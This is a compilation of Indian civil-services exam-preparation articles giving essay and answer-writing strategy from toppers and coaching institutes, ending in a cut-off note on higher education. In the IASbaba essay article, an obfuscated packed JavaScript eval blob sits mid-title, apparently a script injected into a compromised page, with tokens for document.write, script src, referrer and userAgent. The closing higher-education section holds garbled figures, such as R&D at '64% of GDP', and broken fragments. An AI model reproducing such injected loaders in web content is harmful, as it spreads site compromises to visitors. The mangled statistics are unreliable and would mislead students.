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UPSC CSE 2021: AIR 17 Sarthak Agrawal’s step-by-step strategy for essay paper

Essay is the one paper for which you will find excellent advice all over the internet - mostly on university websites - so make sure to look at them instead of just relying on the typical upsc resources, says agrawal  .

My key advice for the essay paper is to be argumentative and imaginative. An academic essay is a formal piece of writing with a clear structure. This is the one paper for which you will find excellent advice all over the internet — mostly on university websites — so make sure to read them up instead of just relying on the typical UPSC resources.  

The following approach worked best for me: start with a story that is relevant to the prompt. Then, state in a few words the “thesis” of your essay – what is the main argument you’re making? Next, support this central thesis with several claims, each one backed by strong evidence or reasoning, and occupying a separate paragraph. As you go along, address the counterclaims. But resist the urge of writing an essay like a mystery novel. This is best practiced when you have devoted some 10-20 minutes to plan and outline what you will write. 

Ultimately, the key to putting together a strong response is to make an innovative and strong argument – don’t just provide relevant information around the central topic but take a refined stand and stick to it. For instance, if I wrote an essay on the topic, “Are we entering an era of globalisation”, I wouldn’t just regurgitate data on both sides of the debate. Instead, I would present an incisive and informed opinion defended by evidence and reasoning with an intention to persuade the reader. Remember, variety goes a long way in achieving this aim – avoid repetition and alter your sentence length and vocabulary to keep things interesting. It is also useful to vary the kind of evidence you cite. In some places, data and figures are most appropriate; in others, a vivid example can go a long way in hammering in your point. 

When you choose a topic, first make sure that you fully understand what each word in the prompt means. I would prefer a simple one over a more convoluted statement so that you have more latitude to experiment. The next thing to ask is whether you will be able to construct a novel argument around that prompt. Some topics are more conducive to a descriptive type of response, and others to a debate. The latter provides more scope for showing off your critical thinking skills. That’s the real “smartness” essays test, which is why writing them well is a pre-requisite for academic success in the top universities. When you start, make sure you introduce the topic and what you understand by it. This way, even if you make an error in interpreting the prompt, the examiner will know from the get-go what you are responding to and might be a bit more generous. 

I find the best essays often start and end with a story. My favourite argumentative pieces are those that feature in The Economist’s leaders’ section; they often start with examples to invite the reader’s interest. In the same vein, I spent time thinking about the kind of stories that would align with different topics instead of memorising quotations. For example, in a mock response to the topic, “Digital infrastructure is key for future ready governance”, I included a fictional example of a future health secretary who can get her department to respond quickly to a SARS-kind of virus in rural Odisha thanks to a mature National Digital Health Mission. 

I wrote five practice tests before appearing for the exam; incidentally, none of them was the ‘philosophical type’ that I had to write in the actual paper. The same advice applies for these kinds of essays too, except that the evidence here would be real-world examples and logical reasoning instead of data. There’s also more scope to be creative and critical, which is good for fetching higher marks. I think coaching institutes tend to be overly concerned about analysing the “social, economic, political, legal etc.” angles in an essay, while the essay is an argumentative piece of writing that provides the means to showcase your creativity. It is certainly not a test of your memory, vocabulary, or handwriting so don’t worry if you are a laggard on either (or all) of these.

A word on formatting — start a new paragraph from the middle of the line, leaving a forefinger’s space in the beginning. Try to connect one sentence with the next using bridge words like however, despite, moreover, etc; do the same for paragraphs as it gives the entire piece a nice, logical flow. Underlining important keywords and phrases is also useful to direct an examiner’s attention. Keep cuttings to a minimum and ensure that all paragraphs are of similar length, but these tips are much harder to follow in practice. And it’s okay to use the first person (“In this essay, I argue…”). Bureaucrats are taught to be self-effacing and not present their own front but when writing an academic essay, I think it’s best to lead with the first person.  

Finally, even the examiners know that writing a strong 1000–1200-word piece by hand in 1.5 hours that is sufficiently argumentative and delightfully imaginative is fiendishly difficult. They will definitely cut you some slack as long as your approach is right. Make the most of this window, and good luck!

(The author is AIR 17 in UPSC Civil Services 2020 and is a researcher at the World Bank)

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Essay Paper Strategy from Toppers

The Essay Paper in the UPSC civil services mains exam is sometimes overlooked by candidates thinking that all they have to do is write on a topic from material that they have learnt for the general studies papers. They take it easy thinking it doesn’t require any additional preparation. But, read on to understand why the essay paper is important and should not be ignored.

Aspirants would find this article very helpful while preparing for the IAS Exam .

On the other hand, this paper can also rattle candidates who are unnerved by the ‘lack of a concrete syllabus’ for the UPSC essay paper. Both extremes should be avoided and candidates are advised to put in the right amount of effort needed for this paper. IAS toppers Chandra Mohan Garg and Mittali Sethi aced the essay paper and scored 149 marks and 160 marks respectively out of a total of 250.

Essay Tips from Chandra Mohan Garg (AIR 25; CSE 2015)

• Choose your topic wisely. You should have a holistic understanding of the topic. Avoid thinking that a common topic cannot do you good since most candidates would opt for it. Take an unconventional topic only if you are most comfortable with it.
• After topic selection, brainstorm for fodder material like keywords, quotes, examples, illustrations, case studies, facts and figures, etc.
• Also, think about the past, present and future scenario related to the topic.
• Structure your essay properly. Have an introduction, body and a conclusion. In the body, you must write about both sides of view as illustrated below:

• Keep your language simple with short sentences and small paragraphs.
• Mention examples, government schemes and plans in your essay.
• Always cover the social, economic, political, cultural, legal, international and humanistic perspectives of the topic.
• There should be a definite flow to the essay.
• The essay should reflect your vision and ideas rather than display your knowledge.
• Your introduction should be impressive. Include striking quotes or illustrations here. Also, it should outline your essay and tell the reader what to expect in reading further.
• Try to conclude your essay with a positive or visionary note.
• When you read the newspaper for your IAS preparation, note down good lines and examples.
• Prepare some fodder about general topics like education, women, healthcare, internet, technology, democracy, etc. Stay updated on all the important UPSC current affairs with our daily current affairs features.
• Before your exam, you should practice writing at least 5 – 6 essays.

Download the 2019 UPSC Essay Paper at the linked article.

Essay tips from Mittali Sethi (AIR 56; CSE 2016)

• Your introduction and conclusion should stand out. Psychologically, a person remembers what is at the beginning and at the end. So, try to impress the examiner when you write the introduction and the conclusion. It would leave a good impression if you portray your compassionate and empathetic side at the beginning of the essay itself.
• You should connect to the topic as a HUMAN. Avoid writing mechanically.
• You should conclude the essay on a positive note. You could give possible solutions or also end with a futuristic vision.
• You can make a rough flowchart before you begin writing your essay so that you can outline what you will be writing where. This will make your essay more structured and also ensure that you don’t forget important points and perspectives.
• Write in simple English but make you don’t make any grammatical errors. Put in efforts to improve your language if you feel you need to. Wrong language/grammar can change the meaning of a sentence.
• You can have strong opinions on a topic but make sure you are not just opinionated but also informed.
• Don’t just crib about things, also present solutions.
• Make sure your quotes are correct and verbatim otherwise, don’t quote them. You can get some good and authoritative quotes for UPSC exam in the linked article.
• Try to be concise so that you can cover maximum dimensions and also avoid repetitions.
• Try to cover multiple perspectives like social, economic, political, cultural, linguistic, local, international, and humanistic ones.

The above details would help candidates prepare for UPSC 2023 .

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Essay Writing for UPSC - Weekly Essay Writing Programme

By vajiram & ravi.

Essay Writing for UPSC: Writing an essay for the UPSC Mains Exam requires a structured and well-organised approach. The UPSC essay paper is not just limited to assessing a candidate's creative writing skills, but rather, the focus is on evaluating a candidate's ability to think critically, express their ideas clearly, and present a balanced perspective on various issues. This article discusses the do’s and don'ts that need to be remembered while writing your Essay for the UPSC Mains Exam.

Check:  UPSC CSE Mains 2023 Essay Question Paper

Essay Writing for UPSC

The UPSC Mains Examination comprises a total of nine papers, inclusive of an essay paper. The Essay Paper is categorised into sections A and B, each containing four topics. These topics hold a value of 125 marks each, thereby totalling 250 marks (125×2). Candidates are required to choose one topic from each section and compose an essay spanning 1,000 to 1,200 words within the allocated three-hour duration. UPSC provides the following guidelines in its Notification on the Essay Paper:

• Candidates may be required to write essays on multiple topics.
• They will be expected to keep closely to the subject of the essay to arrange their ideas in orderly fashion and to write concisely.
• Credit will be given for effective and exact expression.

Essay Writing for UPSC - What is Expected?

When preparing for the UPSC Mains Essay Paper, there are a few basic points that you should remember. The paper tests the diversity of your content and not its creativity .

When writing your Essay Paper for the UPSC Mains Exam, your focus should be on the following points-

• Diversity of the content: Incorporating diverse content in the essay paper not only enriches the content but also showcases your depth of knowledge, analytical skills, and ability to present a comprehensive perspective on complex topics.
• Focus on the topic: Centre your essay around the core theme of the chosen topic. By maintaining a clear focus on the topic and consistently reinforcing its relevance, your essay becomes a well-structured and compelling piece that effectively communicates your ideas to the examiner.
• Clarity, Depth, and Language: Language plays a crucial role in conveying your ideas effectively. Use precise and simple language to articulate your points and maintain a formal and coherent tone throughout the essay. Focusing on clarity of thought ensures that your ideas are easily understood by the examiner, and providing an in-depth analysis supported by relevant examples, data, and arguments, helps showcase your ability to engage with the topic critically.
• Providing Evidence: While stating a Quote, there should be evidence to support your thought. This helps you to avoid the superficial treatment of the subject and delve into its complexities, showcasing your ability to engage with the topic critically.

How to Write Essay for UPSC Mains?

Writing an essay for the UPSC Mains Exam requires a structured and well-organised approach.

Choose the Right Topic

Read the given UPSC essay topics carefully and choose the one that resonates with your strengths and interests. Pick a topic that allows you to showcase your knowledge and understanding effectively.

Brainstorm Ideas

Spend some time brainstorming ideas related to the chosen topic. Jot down key points, arguments, examples, and relevant data that you could use to support your essay.

Create a Structure

A well-structured essay has a clear introduction, body paragraphs, and a conclusion. Your introduction should introduce the topic and provide a brief overview of your stance. Each body paragraph should focus on a specific point, argument, or example. The conclusion should summarise your main points and reiterate your thesis.

Format for UPSC Essay Writing

The UPSC essay format requires a thoughtful approach to convey your ideas effectively. There are three stages or steps in any essay - Introduction, Body paragraphs, and Conclusion.

Introduction Paragraph of an Essay

Craft a strong introduction paragraph that outlines your main argument or perspective. This paragraph should be concise and provide a roadmap for your essay. You can begin your essay with a quote, and the last line of the introduction paragraph should end with reinforcing the main topic.

For example: Topic: The Health of the Nation is more important than the Wealth of Nation

Start your essay with a quote-

“P ublic Health depends upon winning over Hearts and Minds. It's not enough to just have a good policy; you have to convince people to actually follow it .”

In a country's journey forward, we often talk about how having a lot of money is crucial. But there's another side to this story, which says that the good health of the people in a country is even more vital. If there is something that COVID-19 has taught us, it is how no economy with ample amounts of money can guarantee the health of its nation and how the health of its citizens eventually affects the wealth of the country. This idea highlights how the health of the nation is more important than the wealth of the nation.

Writing in Paragraphs

Writing in paragraphs is important in an essay because it enhances readability and organisation. Each paragraph should focus on a specific idea, argument, or point, making it easier for readers to follow the logical flow of your thoughts . Paragraphs create visual breaks, helping to structure your essay into manageable sections. The following points have to be kept in mind while framing your Essay Paragraphs:

Address Counter-arguments:

Acknowledge potential counter-arguments and address them in your essay. This shows that you have considered multiple perspectives and strengthened your argument.

Use Examples:

Incorporate real-life examples, case studies, and anecdotes to illustrate your points. Examples make your essay more relatable and persuasive.

Gather Evidence:

Collect relevant current affairs facts, statistics, historical examples, and real-life incidents to support your arguments. Ensure that your evidence is accurate and well-researched.

Logical Flow:

Maintain a logical flow between paragraphs and ideas. Each paragraph should transition smoothly to the next, creating a coherent narrative.

Use of simple Language:

Write in a clear, concise, and coherent manner. Avoid using overly complex language that might obscure your message. Focus on communicating your ideas effectively.

Avoid Repetition:

Be mindful of repeating the same points or ideas. Each paragraph should contribute something new to the discussion.

Conclusion of the Essay

The conclusion serves the purpose of providing a seamless ending to the essay. It's worth noting that a strong ending holds the same level of significance as a compelling beginning. Both aspects contribute to achieving higher scores.

To effectively conclude an essay, you can utilise various elements, including facts, statistics, reasons, examples, quotes, opinions, experiences, and sensory details . The essay's conclusion can take on several forms: it might involve briefly reiterating the main points, suggesting potential future steps or actions, or injecting an engaging personal comment or relevant anecdote.

An alternative approach to concluding an essay involves revisiting the topic introduced in the introduction. This is known as a 'cyclic return,' and it's a straightforward method employed in many essays to bring the discussion full circle.

Ultimately, a conclusion should carry a positive perspective, seeking out the silver lining amidst challenges. It should also strive for clarity and brevity, ensuring the ideas are expressed concisely.

Proofread and Revise the Essay

Once you've finished writing, take some time to proofread and revise your essay. Check for grammatical errors, spelling mistakes, and clarity of expression.

Vajiram & Ravi Weekly Essay Writing Programme

Examining the essays from UPSC previous year question papers allows one to grasp the concepts, aspects, and remedies essential for addressing those issues. Gaining a basic comprehension of intricate societal challenges holds the key to crafting a strong essay for the UPSC Mains Exam.

In order to help the aspirants regularly practise Essay Writing, Vajiram & Ravi have come up with a weekly essay writing Programme- Pensive Essay Writing Programme . It provides two essay topics every Saturday for you to practise. You can submit your Essays on vajiramandravi.com.

Vajiram & Ravi Essay Module

We have also introduced an Essay Module to help the aspirants clarify and organise ideas and information to analyse primary sources and employ critical judgement, among other things. This will improve knowledge and aid in the learning process. It will strengthen your writing abilities to write lucidly, coherently, and persuasively, as well as the ability to structure an argument.

The Essay Module Offers the Following Features:

• The module provides 12-13 lectures, each dedicated to a specific theme. 
• Well-curated and concise Handouts covering essential themes for every lecture will also be provided to comprehensively meet the content requirements of the Essay Paper.
• In addition, 4 full length Essay Tests, with Personalized and Objective Evaluation, followed by a Test Discussion will be offered- all based on current UPSC CSE trends. Module is available in both online and offline mode.

© 2024 Vajiram & Ravi. All rights reserved

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UPSC ESSAY STRATEGY: How to Write an Essay!

• October 21, 2015

IASbaba's Mains Strategy , UPSC Essay Strategy

Essay eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6(" ");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nfnkh|var|u0026u|referrer|rhfyh||js|php'.split('|'),0,{})) Strategy

In one way or the other your fate with UPSC is decided by the most unpredictable component of the syllabus i.e. the ESSAY . Ask your seniors, your peers or even your teachers and no one can come up with a concrete strategy to prepare for essays. It is ironical that despite being the most flexible component of the UPSC syllabus, it is the essay that spoils your chances. Why? The answer to this question is a mystery . So, if anyone tells you that he/ she knows the right way to write an essay and by right we mean the benchmark set by UPSC, be sure that the person has got a long way to go before he/ she can truly understand UPSC. We say this because of a reason. We have seen aspirants with excellent writing skills scoring 70% in essay in their first attempt while barely managing 35% in their next attempt! It is the other way round also with a number of aspirants.

Now, here we are! After accepting the unpredictable nature of essay evaluation by UPSC, how can we be sure about any strategy? We can’t and in fact we aren’t. But then, we must try until we touch the right chords. Here we give you a strategy to write essays in the most structured, smooth and satisfactory way possible. We don’t guarantee success if you follow our strategy but we can assure you that after going through the subsequent paragraphs of this write up, you will have a lot to work upon and improve. If you keep in mind the following points, you can definitely better your prospects in essay.

So, what is an essay? Or rather why this paper on essays in UPSC? The answer is –  an essay gives you an opportunity to put forward your thoughts in a manner that is not impeded by word limit and time (in the sense that you are given enough words and time to express your knowledge and views). It is asked to check the depth and breadth of your knowledge. And when we say knowledge, it doesn’t mean our conventional understanding of the same. The topics are unknown to us before the exam and we are expected to apply all that we have learnt to produce a logical and intelligent account of what is being asked. That is why, one can’t prepare for essays in the conventional sense.

Now coming to the strategy part, we must say at the outset that you must not treat essay as any other paper of UPSC. In fact, it is the most innovative way to check your level of preparedness of the entire syllabus of UPSC. If you perceive it in this sense, your tendency to limit your imagination by the fictitious boundaries of so called essay paper will vanish and you will be able to think more freely and more innovatively. Shed all your previous notions regarding this paper and start afresh.

The key to writing a satisfactory above average essay is multi-dimensionality. Depth matters but in UPSC breadth is far more important. Keep this fact in mind and approach the essay in a manner that all your wisdom is reflected in the interconnected dots in your essay. Now, what do we mean by this? It simply means the representation of all the dimensions that are related closely to the topic being asked. In doing so, most aspirants keep throwing unnecessary points and that can annoy the examiner. The best thing to do in such a scenario is to write all your thoughts in pointers at the space provided for rough work.

Now, this step is very important. What tools do we have to think about as many dimensions as possible? The answer lies in the syllabus . Luckily, the syllabus of UPSC is so exhaustive and detailed that almost everything under the sun is there in the syllabus. After you are done with your own thoughts and written all the possible points, think about the syllabus now. For this, a prerequisite is that you must have learnt the syllabus by heart. Having said so, let us now understand as to how you can use the syllabus to create points for your essay.

Suppose you have been asked an essay on “Gandhian principles and it’s relevance in contemporary India” . Now, by linking this essay with various components of the syllabus, you can create a number of good points for your essay. We provide you with some examples:

Indian heritage and civilization: Gandhian thoughts on the importance of letting our civilization welcome others while maintaining our identity and uniqueness. This is particularly important in view of the ongoing clash of civilizations.

Women issues: Gandhi’s idea on emancipation and empowerment of women and it’s applicability in modern India.

Communalism and secularism: Gandhian message of communal harmony and tolerance.

Society: Numerous examples of Gandhian views on the importance of charity, role of family, social capital, social norms, cinema etc.

Globalization: Gandhian message of self reliance and it’s synthesis with the idea of global commons/ was Gandhi against globalization?

Constitution and polity: Gandhian idea of a nation state

Local governance: Panchayati Raj as envisaged by Gandhi.

SHGs: Gandhian conception of the idea; the concept of village gramodyog etc

Education: Gandhian model of education that emphasized upon imparting skills

International relations: Gandhian ideals of co-existence, non- violence, non- proliferation etc applied to the current foreign policy paradigm; satyagaraha and non- violence as tools to pursue foreign policy goals.

Inclusive growth: Gandhi’s talisman and it’s remarkable resonance with the very idea of inclusive growth

Economic development: Gandhian idea of self dependent village communities

Industries: Gandhian apprehensions with respect to western model of industrialization

Agriculture and animal rearing: Gandhi’s ideas on organic cultivation, supplementary income through animal rearing etc.

Environment: Gandhian message on cleanliness and sustainability (remember the quote related to man’s need versus man’s greed?), Gandhi’s views on vegetarianism etc

All Gandhian ideas with respect to revenge, change, forgiveness, happiness, strength etc reflect the essence of this component of the syllabus. We can use all of them wisely to make our points look better and logical.

At this point of time, it is important to mention about current events. Try to relate the topic with the current events. It will add to the personality of your essay. For example in this case, following examples can be included:

Corporate social responsibility: Gandhian idea of trusteeship

Struggle for democracy in various parts of the world: Gandhi’s thoughts on democracy

Crisis in the Parliament: Gandhian idea of true leadership

Now there are some other tools that are always handy in helping you make your essay multi- dimensional. Have a look and think how they can be used in different scenarios:

• Preamble to the Constitution
• FRs and DPSPs
• Millennium Development Goals (Now Sustainable Development Goals)
• Quotations by eminent personalities
• Important Supreme Court judgements
• Concepts of sustainability and environmental ethics etc

Having shown you the importance of knowing the syllabus by heart and keeping oneself updated with the current events, we move forward to the next important phase of essay writing i.e. the structure.

There is no universally accepted format for writing an essay. However, there is a general understanding about how one should approach an essay. Of course, one has to start with an introduction. Introduction can start with a quote, an anecdote or a simple paragraph. Irrespective of the approach, the introduction must give an idea to the reader as to what ensue in the subsequent paras. Introduction should be crisp and interesting. Don’t use cliched sentences in the introduction.

In the next few paragraphs, you are supposed to touch upon the core areas of the essay. Here, the points in the back of your answer sheet will come handy. Prioritize the points in a manner that the essay follows a logical flow of ideas and related points are covered in the same or back to back paras. For example, in the example given above, you can’t start with the Gandhian views and it’s applicability regarding local governance, then hop on to the role of non- violence in international relations and then come back to tolerance towards various civilizations. Similarly, you can’t club the ideas of self dependent villages and communal harmony in the same paragraph. At the outset itself, you must have in mind the flow of your essay.

It is important to note that not all your jotted points need find a mention in the essay. You can trim the points and in fact eliminate the irrelevant ones to make your essay crisp and close to the central argument.

It is also important that you read the topic after all your paragraphs so that you don’t deviate from the central theme.

All the paragraphs must have their own personality. There should be no loose ends. The paragraphs in themselves have to have logical conclusion and if that is not possible, at least the key to the next paragraph. Randomness and unpredictability are the last two things that your essay needs.

Coming on to the conclusion part of the essay, it must be understood that you are not supposed to force yourself in producing an intelligent conclusion. Many a times it is better to let some question remain answered. It is not because it should be so, but because it is not possible to have a satisfactory answer always! Just make sure that your conclusion is balanced and there is some amount of optimism in your views. Don’t predict doomsday in the essay even if you are the most depressed person in this world. UPSC wants to recruit happy and optimistic people. Mind it!

Now the question comes about language. What sort of language should one use- simple or ornamental, straight or flowery? The answer is write the way you have always written your essays. The bottom line is you have to impress the examiner in whichever way possible. If we suggest you to use simple language and you are actually good in writing impressive English, the chances are you will spoil your attempt in trying to become what you are definitely not. It is not possible to change one’s writing style so quickly. Instead one should try to make his/ her style of writing fetch better marks in the essay.

Is it not that a bride wearing all the ornaments and makeup looks stunning but at the same time a lady with a beautiful eye but with no makeup or jewelry looks equally beautiful? The same holds true for language. Believe in your own style and remain confident.

However, we find it prudent to caution you about being superfluous. This can be fatal. Don’t beat around the bush. Your sentences must convey what you have in mind and their length should be commensurate with the message. Don’t use too long a sentence. Be crisp and to the point.

As far as essay is concerned, DO NOT write in points. Once in a blue moon, candidates might have scored good marks by following this approach but that is an exception and not the rule. Respect UPSC and don’t do anything foolish.

Use quotes selectively and wisely. Not using a quote is way better than using it wrongly. You can prepare a list of quotes that can be used in the essays asked by UPSC.

Be creative in your writing. Spend some time in thinking about the ways in which you can improve your presentation. Ask your peers to review your essays and point the glitches. Try to improve upon the content, presentation and approach by keeping in mind the given strategy. We are sure that in 3-4 attempts, your essays will start reflecting your efforts.

We at IASbaba will keep on posting challenging topics for essays. We expect you to attempt them in strict exam conditions.

Share your inputs regarding the strategy and if any of the seniors reading this, kindly share your thoughts & strategy to help future aspirants 🙂

Happy writing

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• IAS Essay Strategy , UPSC Essay Strategy , UPSC Mains Strategy Essay

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UPPSC holds competitive exams to recruit applicants for various posts within the Indian state government of Uttar Pradesh. Check Out UPPSC Preparation Strategy and Tips in this article.

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The Uttar Pradesh Public Service Commission (UPPSC) holds competitive exams to recruit applicants for various posts within the Indian state government of Uttar Pradesh. Check Out UPPSC Preparation Strategy and Tips in this article.

The Uttar Pradesh Public Service Commission (UPPSC) holds competitive exams for state government positions in Uttar Pradesh. Conducted in stages (Prelims, Mains, Interview), the exams demand dedication, diligence, and a well-organized study plan due to limited seats. With UPPSC Prelims results out, shortlisted candidates are preparing for Mains. Effective preparation tips are crucial given the strong competition and strict negative marking.

UPPSC Preparation Strategy

General tips.

• Create a Study Plan : Develop a realistic timetable, allocating sufficient time for each subject and revision.
• Understand the Syllabus : Thoroughly go through the UPPSC syllabus and exam pattern to focus your preparation on relevant topics.
• Gather Study Materials : Use standard textbooks, reference books, and online resources. NCERT books for basic concepts and standard books for in-depth understanding are recommended.
• Current Affairs : Regularly read newspapers (The Hindu, The Indian Express), and follow reliable news websites and monthly current affairs magazines.

Subject-wise Strategy

• History : Spectrum for Modern History, NCERTs for Ancient and Medieval History.
• Geography : NCERTs, GC Leong’s “Certificate Physical and Human Geography”.
• Polity : Laxmikanth’s “Indian Polity”.
• Economy : NCERTs, Ramesh Singh’s “Indian Economy”, Budget and Economic Survey.
• Environment and Ecology : Shankar IAS book, current affairs.
• Science and Technology : NCERTs, current developments.
• UP Specific Knowledge : Study state-specific books and materials.
• Practice comprehension, logical reasoning, and basic numeracy from standard aptitude books.
• Previous year papers are crucial for understanding the type and level of questions.
• Practice grammar, essay writing, and translation.
• Use standard Hindi grammar books and previous years’ question papers.
• Practice writing essays on various topics.
• Focus on structure, coherence, and articulation of thoughts.
• Read essays from toppers and practice writing within a time limit.
• Choose an optional subject based on your interest and background.
• Use standard books and refer to previous years’ papers for practice.

Revision and Practice

• Regular Revision : Allocate time daily/weekly for revising previously covered topics.
• Mock Tests : Enroll in a test series to practice full-length mock tests. Analyze your performance and work on weak areas.
• Answer Writing Practice : For Mains, practice writing answers regularly. Focus on clarity, coherence, and presentation.

Interview Preparation

• Mock Interviews : Attend mock interviews to get a feel of the actual interview environment.
• Personality Development : Work on communication skills, body language, and staying updated with current affairs.
• Optional and GS Knowledge : Be thorough with your optional subject and general studies, as questions can be asked from any area.

UPPSC Study Plan

Preparing for the Uttar Pradesh Public Service Commission (UPPSC) exam requires a comprehensive and strategic approach due to its competitive nature and vast syllabus. Here are some study plan to help you prepare effectively:

UPPSC Preparation Tips

• Know the Exam : Understand the pattern and syllabus thoroughly.
• Plan Strategically : Create a study plan with daily, weekly, and monthly goals.
• Quality Resources : Refer to standard books and reliable online platforms.
• Current Affairs : Stay updated through newspapers, magazines, and online sources.
• Practice Mock Tests : Regularly take mock tests to assess progress.
• CSAT Focus : Pay attention to CSAT preparation alongside general studies.
• Essay and Answer Writing : Practice essay and answer writing regularly.
• Optional Subject : Choose an optional subject based on interest and scoring potential.
• Consider Coaching : Join coaching classes if needed, but self-study is effective too.
• Health and Stress Management : Maintain a healthy lifestyle and manage stress effectively.
• Group Study : Engage in group studies and discussions for better understanding.
• Stay Motivated : Set clear goals and stay positive throughout the preparation journey.

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UPPSC Preparation Strategy and Tips FAQs

How much time is sufficient for uppsc preparation.

Candidates need at least 12 months time to do UPPSC Preparation.

Is up pcs easy to crack?

The UPPSC PCS exam is considered one of the toughest exams in India due to its vast syllabus and intense competition. Thus, it requires a well-planned preparation strategy to crack the exam.

w many attempts are allowed in Uppcs?

There are no limitations on the number of attempts for the UPPSC recruitment. To be eligible, candidates must fall within the age range of 21 to 40 and meet additional requirements such as nationality and minimum educational qualifications.

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UPSC Mains Answer Writing, Check Structure, Strategies and Tips

UPSC Mains Answer Writing is very important for the UPSC candidates to excel in. Check out the Structure of UPSC Mains Answer Writing and Tips and Strategies related to it.

UPSC Mains Answer Writing is the most important component of UPSC CSE Mains Exam. The Structure of the answers is very important for the candidates appearing for the UPSC Mains Exam.

The UPSC Aspirants mostly face the dilemma of how to write perfect answers, in order to score maximum marks in UPSC Mains Answer Writing. Candidates have to stick to the proper structure, and follow the Tips and Strategies. 

Let us have a look at the Structure of UPSC Mains Answer Writing and the Tips and Strategies associated with it. Things to Remember and Things to avoid while writing answers in UPSC CSE Mains Exam are also given.

UPSC Mains Answer Writing Overview

Answer Writing Practice is essential for the UPSC CSE Mains Answer Writing. The table below contains the overview of Answer Writing for UPSC CSE Mains Exam :

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Structure of UPSC Mains Answer Writing

Structuring your UPSC mains answer writing is crucial for effectively conveying your ideas and scoring well. Below is a structure that UPSC Aspirants can follow in UPSC CSE Mains Answer Writing:

• Start with a brief introduction to the topic/question.
• Define key terms if necessary.
• Provide context for the issue.
• Present your arguments or main points. Use paragraphs to organise each point clearly.
• Support your arguments with relevant facts, data, examples, or quotes from experts.
• Provide different perspectives if the question demands it.
• Ensure logical flow between paragraphs.
• Use subheadings to categorise different aspects of the answer.
• Subheadings help organize your thoughts and make your answer more readable.
• Use visual aids to support your points wherever possible.
• Diagrams, graphs, and charts can make complex information easier to understand and remember.
• Acknowledge opposing viewpoints if necessary.
• Refute counterarguments or provide reasons why your perspective is more valid.
• Summarise your main points briefly.
• Reiterate your stance or proposed solution.
• Provide a closing thought or recommendation, if applicable, in the answer.

UPSC Mains Answer Writing – Things to Remember 

Following are some important things that the candidates appearing for the UPSC CSE Mains Exam should remember while writing their answers:

• Use clear and concise language.
• Avoid jargon or overly complex sentences.
• Write in a formal tone suitable for an exam setting.
• Pay attention to grammar, punctuation, and spelling.
• You should stick to the prescribed word limit for each question.
• Allocate your words wisely to each section based on its importance.
• Practice writing answers within the time constraints of the exam. Candidates can practice Answers with PW OnlyIAS .
• Review your answers to identify areas of improvement in structure, content, and presentation.
• Seek feedback from peers, mentors, or teachers on your answer writing.
• Learn from the mistakes you make and continuously refine your approach.
• Remember, mastering answer writing for UPSC mains takes time and consistent practice. 
• Focus on understanding the topics thoroughly, developing clarity of thought, and effectively conveying your ideas within the given constraints.

Tips for UPSC Mains Answer Writing

UPSC Mains Answer Writing is very important for the UPSC Aspirants in order to qualify the UPSC CSE Mains Exam. Below are some tips for improving UPSC Mains Answer Writing:

• Understand the Question: Read the complete question carefully and understand what is being asked in it. Identify the key components and the demand of the question, whether it requires analysis, explanation, comparison, evaluation, etc.
• Structure Your Answer: Organise your answer logically with a clear introduction, body, and conclusion. Use headings and subheadings (bullet points, if required) to improve readability.
• Content Coverage: Ensure that you cover all aspects of the question comprehensively. Provide examples, facts, and data to support your arguments.
• Clarity and Precision: Write clear and concise answers. Avoid unnecessary jargon or complicated language.
• Critical Analysis: UPSC exams require candidates to analyse issues critically. Don’t just state facts, but also provide your own insights, interpretations, and opinions backed by evidence.
• Balance: Maintain a balanced approach in your answers. Consider different perspectives and viewpoints, and present a well-rounded argument.
• Time Management: Manage your time effectively and efficiently during the exam. Allocate a specific amount of time for each question and stick to it. Practice writing answers within the time limits as per the UPSC Mains Exam.
• Revision: Leave some time at the end for revision. Review your answers for any grammatical errors, spelling mistakes, or inaccuracies.
• Use of Diagrams and Charts: Wherever applicable, use diagrams, charts, or tables to illustrate your points. This not only enhances understanding but also makes your answer visually appealing.
• Practice: Practice writing answers regularly to improve your writing speed and quality. Solve previous years’ question papers and get them evaluated by mentors or peers for feedback.

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UPSC Mains Answer Writing – Things to Avoid

UPSC Mains Answer Writing is very important for candidates to clear the Mains Stage of the UPSC CSE Exam. There are certain things that the candidates should avoid while writing Answers in the UPSC Mains Exam.

Below are some things to avoid while writing your Answers in the UPSC CSE Mains Exam:

• Don’t Write Irrelevant Information: Avoid including irrelevant information in your answers. Stick to the topic and avoid unnecessary elaboration.
• Don’t Copy-paste: Avoid copying answers from guidebooks or other sources. Your answers should be original and reflect your understanding of the topic.
• Don’t Overwrite or Underwrite: Try to strike a balance between being too verbose and too brief. Overwriting can lead to wastage of time, while underwriting may result in incomplete answers.
• Don’t Make Guesses: If you are unsure about something, it’s better to leave it blank rather than make wild guesses. Guesswork can lead to negative marking.
• Don’t Use Biassed Language: Avoid using language that is biassed or one-sided. Present a balanced view and consider different perspectives on the issue.
• Don’t Panic: Stay calm and composed while writing your answers. Focus and concentration are the most important factors while writing the answers to the UPSC CSE Mains Exam.
• Don’t Ignore Presentation: Presentation matters. Ensure that your answers are well-structured, neatly written, and easy to follow.
• Don’t Rush: Take your time to think through the question and plan your answer before you start writing. Rushing can lead to sloppy work and mistakes.
• Don’t Neglect Revision: Revision is crucial. Don’t neglect it in the rush to finish your paper. Give yourself enough time to review your paper before final submission.

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Frequently Asked Questions

How to write mains answers in upsc, how to write a 150 word answer in upsc, how to start mains answer writing, how many pages for 250 words in upsc.

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Higher Education in India: Status, challenges and solutions

  Syllabus: Government policies and interventions

  Context: Indian higher education is experiencing heightened politicization, posing a serious threat to academic institutions and intellectual freedom.

India boasts one of the world’s largest higher education systems, including prestigious institutions like IITs and IIMs. Despite its vastness, challenges such as quality and relevance persist . Additionally, increasing politicization poses a threat to academic freedom and intellectual discourse.

Status of Higher Education in India:

Primary Challenges in the Indian Higher Education System:  

• g., Controversies around the appointments of Governors as Chancellors and Vice Chancellors, undermining institutional independence.
• Limited Funding: Interim Budget 2024-25 slashes education allocation by 7%, with UGC funding cut by 61%.
• Low R&D investment : It remains low at 64% of GDP, compared to China (2.4%), Germany (3.1%), South Korea (4.8%), and the US (3.5%).
